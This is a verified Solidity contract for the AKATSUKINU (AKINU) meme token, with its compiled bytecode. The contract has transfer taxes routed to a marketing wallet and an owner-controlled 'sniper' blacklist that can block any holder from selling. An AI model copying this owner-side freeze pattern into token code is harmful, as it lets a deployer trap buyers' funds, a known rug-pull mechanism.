/** *Submitted for verification at Etherscan.io on 2022-04-11 */ // SPDX-License-Identifier: Unlicensed /** >> >=> >=> >> >===>>=====> >=>>=> >=> >=> >=> >=> >=> >==> >=> >=> >=> >>=> >=> >=> >>=> >=> >=> >=> >=> >=> >=> >=> >=> >> >=> >=> >=> >=> >> >=> >=> >=> >> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >>=>> >=> >=> >=> >=> >=> >=> >>=>> >=> >=> >=>>=> >=> >=> >=====>>=> >=> >=> >=====>>=> >=> >=> >=> >=> >=> >=> >=> >=> > >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >>=> >=> >=> >=> >=> >=> >=> >=> >=> >=> >=>>=> >====> >=> >=> >=> >=> >=> >====> https://t.me/akatsukinuportal https://akatsukinu.com */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AKINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AKATSUKINU"; string private constant _symbol = "AKINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 12; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 25; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xE50B5063E1F5b139D16F4091e30787D834d7b578); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e11 * 10**9; uint256 public _maxWalletSize = 2e11 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e11 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610644578063e0f9f6a01461068a578063ea1644d5146106aa578063f2fde38b146106ca578063fe72c3c1146106ea57600080fd5b806395d89b41146105965780639ec350ed146105c45780639f131571146105e4578063a9059cbb14610604578063c55284901461062457600080fd5b80637c519ffb116100f25780637c519ffb146105175780637d1db4a51461052c578063881dce60146105425780638da5cb5b146105625780638f9a55c01461058057600080fd5b806370a08231146104ac578063715018a6146104cc57806374010ece146104e1578063790ca4131461050157600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104215780635d098b38146104415780636b9cf534146104615780636d8aa8f8146104775780636fc3eaec1461049757600080fd5b8063313ce567146103a557806333251a0b146103c157806338eea22d146103e157806349bd5a5e1461040157600080fd5b806318160ddd116101ed57806318160ddd1461031057806323b872dd1461033757806327c8f8351461035757806328bb665a1461036d5780632fd689e31461038f57600080fd5b806306fdde031461022a578063095ea7b31461026f5780630f3a325f1461029f5780631694505e146102d857600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600a815269414b415453554b494e5560b01b60208201525b6040516102669190611fee565b60405180910390f35b34801561027b57600080fd5b5061028f61028a366004611e99565b610700565b6040519015158152602001610266565b3480156102ab57600080fd5b5061028f6102ba366004611de5565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e457600080fd5b506019546102f8906001600160a01b031681565b6040516001600160a01b039091168152602001610266565b34801561031c57600080fd5b5069021e19e0c9bab24000005b604051908152602001610266565b34801561034357600080fd5b5061028f610352366004611e58565b610717565b34801561036357600080fd5b506102f861dead81565b34801561037957600080fd5b5061038d610388366004611ec5565b610780565b005b34801561039b57600080fd5b50610329601d5481565b3480156103b157600080fd5b5060405160098152602001610266565b3480156103cd57600080fd5b5061038d6103dc366004611de5565b61081f565b3480156103ed57600080fd5b5061038d6103fc366004611fcc565b61088e565b34801561040d57600080fd5b50601a546102f8906001600160a01b031681565b34801561042d57600080fd5b5061038d61043c366004611fb3565b6108df565b34801561044d57600080fd5b5061038d61045c366004611de5565b61091c565b34801561046d57600080fd5b50610329601e5481565b34801561048357600080fd5b5061038d610492366004611f91565b610976565b3480156104a357600080fd5b5061038d6109be565b3480156104b857600080fd5b506103296104c7366004611de5565b6109e8565b3480156104d857600080fd5b5061038d610a0a565b3480156104ed57600080fd5b5061038d6104fc366004611fb3565b610a7e565b34801561050d57600080fd5b50610329600a5481565b34801561052357600080fd5b5061038d610b22565b34801561053857600080fd5b50610329601b5481565b34801561054e57600080fd5b5061038d61055d366004611fb3565b610b7c565b34801561056e57600080fd5b506000546001600160a01b03166102f8565b34801561058c57600080fd5b50610329601c5481565b3480156105a257600080fd5b50604080518082019091526005815264414b494e5560d81b6020820152610259565b3480156105d057600080fd5b5061038d6105df366004611fcc565b610bf8565b3480156105f057600080fd5b5061038d6105ff366004611f91565b610c49565b34801561061057600080fd5b5061028f61061f366004611e99565b610c91565b34801561063057600080fd5b5061038d61063f366004611fcc565b610c9e565b34801561065057600080fd5b5061032961065f366004611e1f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069657600080fd5b5061038d6106a5366004611fb3565b610cef565b3480156106b657600080fd5b5061038d6106c5366004611fb3565b610d39565b3480156106d657600080fd5b5061038d6106e5366004611de5565b610d77565b3480156106f657600080fd5b5061032960185481565b600061070d338484610e61565b5060015b92915050565b6000610724848484610f85565b6107768433610771856040518060600160405280602881526020016121f3602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611676565b610e61565b5060019392505050565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016107aa90612043565b60405180910390fd5b60005b815181101561081b576001600960008484815181106107d7576107d76121b1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061081381612180565b9150506107b6565b5050565b6000546001600160a01b031633146108495760405162461bcd60e51b81526004016107aa90612043565b6001600160a01b03811660009081526009602052604090205460ff161561088b576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016107aa90612043565b60018211156108c657600080fd5b60018111156108d457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109095760405162461bcd60e51b81526004016107aa90612043565b600181111561091757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461093c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109a05760405162461bcd60e51b81526004016107aa90612043565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109de57600080fd5b4761088b816116b0565b6001600160a01b038116600090815260026020526040812054610711906116ea565b6000546001600160a01b03163314610a345760405162461bcd60e51b81526004016107aa90612043565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610aa85760405162461bcd60e51b81526004016107aa90612043565b674563918244f40000811015610b1d5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107aa565b601b55565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016107aa90612043565b601a54600160a01b900460ff1615610b6357600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b9c57600080fd5b610ba5306109e8565b8111158015610bb45750600081115b610bef5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107aa565b61088b8161176e565b6000546001600160a01b03163314610c225760405162461bcd60e51b81526004016107aa90612043565b6001821115610c3057600080fd5b6013811115610c3e57600080fd5b600b91909155600c55565b6000546001600160a01b03163314610c735760405162461bcd60e51b81526004016107aa90612043565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061070d338484610f85565b6000546001600160a01b03163314610cc85760405162461bcd60e51b81526004016107aa90612043565b600d821115610cd657600080fd5b600d811115610ce457600080fd5b600e91909155601055565b6000546001600160a01b03163314610d195760405162461bcd60e51b81526004016107aa90612043565b6004811115610d2757600080fd5b610d3381610e1061214a565b60185550565b6000546001600160a01b03163314610d635760405162461bcd60e51b81526004016107aa90612043565b601c54811015610d7257600080fd5b601c55565b6000546001600160a01b03163314610da15760405162461bcd60e51b81526004016107aa90612043565b6001600160a01b038116610e065760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107aa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107aa565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107aa565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107aa565b6001600160a01b03821661104b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107aa565b600081116110ad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107aa565b6001600160a01b03821660009081526009602052604090205460ff16156110e65760405162461bcd60e51b81526004016107aa90612078565b6001600160a01b03831660009081526009602052604090205460ff161561111f5760405162461bcd60e51b81526004016107aa90612078565b3360009081526009602052604090205460ff161561114f5760405162461bcd60e51b81526004016107aa90612078565b6000546001600160a01b0384811691161480159061117b57506000546001600160a01b03838116911614155b156114be57601a54600160a01b900460ff166111d95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107aa565b601a546001600160a01b03838116911614801561120457506019546001600160a01b03848116911614155b156112b6576001600160a01b038216301480159061122b57506001600160a01b0383163014155b801561124557506017546001600160a01b03838116911614155b801561125f57506017546001600160a01b03848116911614155b156112b657601b548111156112b65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107aa565b601a546001600160a01b038381169116148015906112e257506017546001600160a01b03838116911614155b80156112f757506001600160a01b0382163014155b801561130e57506001600160a01b03821661dead14155b156113b857601c5481611320846109e8565b61132a9190612110565b106113835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107aa565b601a54600160b81b900460ff16156113b857600a546113a3906078612110565b42116113b857601e548111156113b857600080fd5b60006113c3306109e8565b601d5490915081118080156113e25750601a54600160a81b900460ff16155b80156113fc5750601a546001600160a01b03868116911614155b80156114115750601a54600160b01b900460ff165b801561143657506001600160a01b03851660009081526006602052604090205460ff16155b801561145b57506001600160a01b03841660009081526006602052604090205460ff16155b156114bb57601354600090156114965761148b6064611485601354866118f790919063ffffffff16565b90611976565b9050611496816119b8565b6114a86114a38285612169565b61176e565b4780156114b8576114b8476116b0565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150057506001600160a01b03831660009081526006602052604090205460ff165b806115325750601a546001600160a01b038581169116148015906115325750601a546001600160a01b03848116911614155b1561153f57506000611664565b601a546001600160a01b03858116911614801561156a57506019546001600160a01b03848116911614155b156115c5576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156115c5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156115f057506019546001600160a01b03858116911614155b15611664576001600160a01b0384166000908152600460205260409020541580159061164157506018546001600160a01b038516600090815260046020526040902054429161163e91612110565b10155b1561165757600b54601155600c54601255611664565b600f546011556010546012555b611670848484846119c5565b50505050565b6000818484111561169a5760405162461bcd60e51b81526004016107aa9190611fee565b5060006116a78486612169565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561081b573d6000803e3d6000fd5b60006007548211156117515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107aa565b600061175b6119f9565b90506117678382611976565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117b6576117b66121b1565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561180a57600080fd5b505afa15801561181e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118429190611e02565b81600181518110611855576118556121b1565b6001600160a01b03928316602091820292909201015260195461187b9130911684610e61565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906118b490859060009086903090429060040161209f565b600060405180830381600087803b1580156118ce57600080fd5b505af11580156118e2573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b60008261190657506000610711565b6000611912838561214a565b90508261191f8583612128565b146117675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107aa565b600061176783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a1c565b61088b3061dead83610f85565b806119d2576119d2611a4a565b6119dd848484611a8f565b8061167057611670601454601155601554601255601654601355565b6000806000611a06611b86565b9092509050611a158282611976565b9250505090565b60008183611a3d5760405162461bcd60e51b81526004016107aa9190611fee565b5060006116a78486612128565b601154158015611a5a5750601254155b8015611a665750601354155b15611a6d57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611aa187611bca565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ad39087611c27565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b029086611c69565b6001600160a01b038916600090815260026020526040902055611b2481611cc8565b611b2e8483611d12565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b7391815260200190565b60405180910390a3505050505050505050565b600754600090819069021e19e0c9bab2400000611ba38282611976565b821015611bc15750506007549269021e19e0c9bab240000092509050565b90939092509050565b6000806000806000806000806000611be78a601154601254611d36565b9250925092506000611bf76119f9565b90506000806000611c0a8e878787611d85565b919e509c509a509598509396509194505050505091939550919395565b600061176783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611676565b600080611c768385612110565b9050838110156117675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107aa565b6000611cd26119f9565b90506000611ce083836118f7565b30600090815260026020526040902054909150611cfd9082611c69565b30600090815260026020526040902055505050565b600754611d1f9083611c27565b600755600854611d2f9082611c69565b6008555050565b6000808080611d4a606461148589896118f7565b90506000611d5d60646114858a896118f7565b90506000611d7582611d6f8b86611c27565b90611c27565b9992985090965090945050505050565b6000808080611d9488866118f7565b90506000611da288876118f7565b90506000611db088886118f7565b90506000611dc282611d6f8686611c27565b939b939a50919850919650505050505050565b8035611de0816121dd565b919050565b600060208284031215611df757600080fd5b8135611767816121dd565b600060208284031215611e1457600080fd5b8151611767816121dd565b60008060408385031215611e3257600080fd5b8235611e3d816121dd565b91506020830135611e4d816121dd565b809150509250929050565b600080600060608486031215611e6d57600080fd5b8335611e78816121dd565b92506020840135611e88816121dd565b929592945050506040919091013590565b60008060408385031215611eac57600080fd5b8235611eb7816121dd565b946020939093013593505050565b60006020808385031215611ed857600080fd5b823567ffffffffffffffff80821115611ef057600080fd5b818501915085601f830112611f0457600080fd5b813581811115611f1657611f166121c7565b8060051b604051601f19603f83011681018181108582111715611f3b57611f3b6121c7565b604052828152858101935084860182860187018a1015611f5a57600080fd5b600095505b83861015611f8457611f7081611dd5565b855260019590950194938601938601611f5f565b5098975050505050505050565b600060208284031215611fa357600080fd5b8135801515811461176757600080fd5b600060208284031215611fc557600080fd5b5035919050565b60008060408385031215611fdf57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561201b57858101830151858201604001528201611fff565b8181111561202d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120ef5784516001600160a01b0316835293830193918301916001016120ca565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121235761212361219b565b500190565b60008261214557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121645761216461219b565b500290565b60008282101561217b5761217b61219b565b500390565b60006000198214156121945761219461219b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9a4e06715ed521463c0fd1c855ceb86f4adc83c997e3d6976880aa8a2ee387c64736f6c63430008070033
